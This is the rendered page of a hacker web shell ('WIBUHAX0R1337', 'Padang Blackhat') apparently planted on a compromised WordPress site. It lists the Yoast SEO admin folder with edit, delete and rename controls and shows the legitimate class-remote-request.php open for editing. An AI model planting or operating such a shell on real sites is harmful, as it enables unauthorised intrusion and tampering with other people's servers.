-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
wordpress-seo
/
admin
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ajax
--
NONE
capabilities
--
NONE
endpoints
--
NONE
exceptions
--
NONE
filters
--
NONE
formatter
--
NONE
google_search_console
--
NONE
import
--
NONE
listeners
--
NONE
menu
--
NONE
metabox
--
NONE
notifiers
--
NONE
pages
--
NONE
roles
--
NONE
services
--
NONE
statistics
--
NONE
taxonomy
--
NONE
tracking
--
NONE
views
--
NONE
watchers
--
NONE
admin-settings-changed-listener.php
2.388KB
Edit File
Delete File
Rename
ajax.php
11.16KB
Edit File
Delete File
Rename
class-admin-asset-analysis-worker-location.php
1.806KB
Edit File
Delete File
Rename
class-admin-asset-dev-server-location.php
1.633KB
Edit File
Delete File
Rename
class-admin-asset-location.php
0.477KB
Edit File
Delete File
Rename
class-admin-asset-manager.php
20.066KB
Edit File
Delete File
Rename
class-admin-asset-seo-location.php
2.076KB
Edit File
Delete File
Rename
class-admin-editor-specific-replace-vars.php
6.343KB
Edit File
Delete File
Rename
class-admin-gutenberg-compatibility-notification.php
2.549KB
Edit File
Delete File
Rename
class-admin-help-panel.php
2.695KB
Edit File
Delete File
Rename
class-admin-init.php
10.713KB
Edit File
Delete File
Rename
class-admin-recommended-replace-vars.php
5.984KB
Edit File
Delete File
Rename
class-admin-user-profile.php
3.058KB
Edit File
Delete File
Rename
class-admin-utils.php
2.145KB
Edit File
Delete File
Rename
class-admin.php
12.727KB
Edit File
Delete File
Rename
class-asset.php
4.302KB
Edit File
Delete File
Rename
class-bulk-description-editor-list-table.php
2.051KB
Edit File
Delete File
Rename
class-bulk-editor-list-table.php
29.407KB
Edit File
Delete File
Rename
class-bulk-title-editor-list-table.php
2.232KB
Edit File
Delete File
Rename
class-collector.php
0.981KB
Edit File
Delete File
Rename
class-config.php
4.926KB
Edit File
Delete File
Rename
class-database-proxy.php
7.504KB
Edit File
Delete File
Rename
class-export.php
3.458KB
Edit File
Delete File
Rename
class-expose-shortlinks.php
7.085KB
Edit File
Delete File
Rename
class-meta-columns.php
27.3KB
Edit File
Delete File
Rename
class-my-yoast-proxy.php
6.138KB
Edit File
Delete File
Rename
class-option-tab.php
2.215KB
Edit File
Delete File
Rename
class-option-tabs-formatter.php
2.837KB
Edit File
Delete File
Rename
class-option-tabs.php
2.257KB
Edit File
Delete File
Rename
class-plugin-availability.php
10.063KB
Edit File
Delete File
Rename
class-plugin-conflict.php
4.044KB
Edit File
Delete File
Rename
class-premium-upsell-admin-block.php
7.827KB
Edit File
Delete File
Rename
class-primary-term-admin.php
7.348KB
Edit File
Delete File
Rename
class-product-upsell-notice.php
5.748KB
Edit File
Delete File
Rename
class-remote-request.php
3.128KB
Edit File
Delete File
Rename
class-schema-person-upgrade-notification.php
2.23KB
Edit File
Delete File
Rename
class-suggested-plugins.php
4.325KB
Edit File
Delete File
Rename
class-wincher-dashboard-widget.php
3.53KB
Edit File
Delete File
Rename
class-yoast-columns.php
3.518KB
Edit File
Delete File
Rename
class-yoast-dashboard-widget.php
3.96KB
Edit File
Delete File
Rename
class-yoast-form.php
35.739KB
Edit File
Delete File
Rename
class-yoast-network-admin.php
9.969KB
Edit File
Delete File
Rename
class-yoast-network-settings-api.php
4.181KB
Edit File
Delete File
Rename
class-yoast-notification-center.php
26.059KB
Edit File
Delete File
Rename
class-yoast-notification.php
9.823KB
Edit File
Delete File
Rename
class-yoast-notifications.php
7.629KB
Edit File
Delete File
Rename
class-yoast-plugin-conflict.php
10.326KB
Edit File
Delete File
Rename
interface-collection.php
0.251KB
Edit File
Delete File
Rename
interface-installable.php
0.248KB
Edit File
Delete File
Rename
<?php /** * WPSEO plugin file. * * @package WPSEO\Admin */ /** * This class handles a post request being send to a given endpoint. */ class WPSEO_Remote_Request { /** * Holds the post method. * * @var string */ public const METHOD_POST = 'post'; /** * Holds the get method. * * @var string */ public const METHOD_GET = 'get'; /** * Holds the endpoint to send the request to. * * @var string */ protected $endpoint = ''; /** * Holds the arguments to use in this request. * * @var array */ protected $args = [ 'blocking' => false, 'timeout' => 2, ]; /** * Holds the response error. * * @var WP_Error|null */ protected $response_error; /** * Holds the response body. * * @var mixed */ protected $response_body; /** * Sets the endpoint and arguments. * * @param string $endpoint The endpoint to send the request to. * @param array $args The arguments to use in this request. */ public function __construct( $endpoint, array $args = [] ) { $this->endpoint = $endpoint; $this->args = wp_parse_args( $this->args, $args ); } /** * Sets the request body. * * @param mixed $body The body to set. * * @return void */ public function set_body( $body ) { $this->args['body'] = $body; } /** * Sends the data to the given endpoint. * * @param string $method The type of request to send. * * @return bool True when sending data has been successful. */ public function send( $method = self::METHOD_POST ) { switch ( $method ) { case self::METHOD_POST: $response = $this->post(); break; case self::METHOD_GET: $response = $this->get(); break; default: /* translators: %1$s expands to the request method */ $response = new WP_Error( 1, sprintf( __( 'Request method %1$s is not valid.', 'wordpress-seo' ), $method ) ); break; } return $this->process_response( $response ); } /** * Returns the value of the response error. * * @return WP_Error|null The response error. */ public function get_response_error() { return $this->response_error; } /** * Returns the response body. * * @return mixed The response body. */ public function get_response_body() { return $this->response_body; } /** * Processes the given response. * * @param mixed $response The response to process. * * @return bool True when response is valid. */ protected function process_response( $response ) { if ( $response instanceof WP_Error ) { $this->response_error = $response; return false; } $this->response_body = wp_remote_retrieve_body( $response ); return ( wp_remote_retrieve_response_code( $response ) === 200 ); } /** * Performs a post request to the specified endpoint with set arguments. * * @return WP_Error|array The response or WP_Error on failure. */ protected function post() { return wp_remote_post( $this->endpoint, $this->args ); } /** * Performs a post request to the specified endpoint with set arguments. * * @return WP_Error|array The response or WP_Error on failure. */ protected function get() { return wp_remote_get( $this->endpoint, $this->args ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat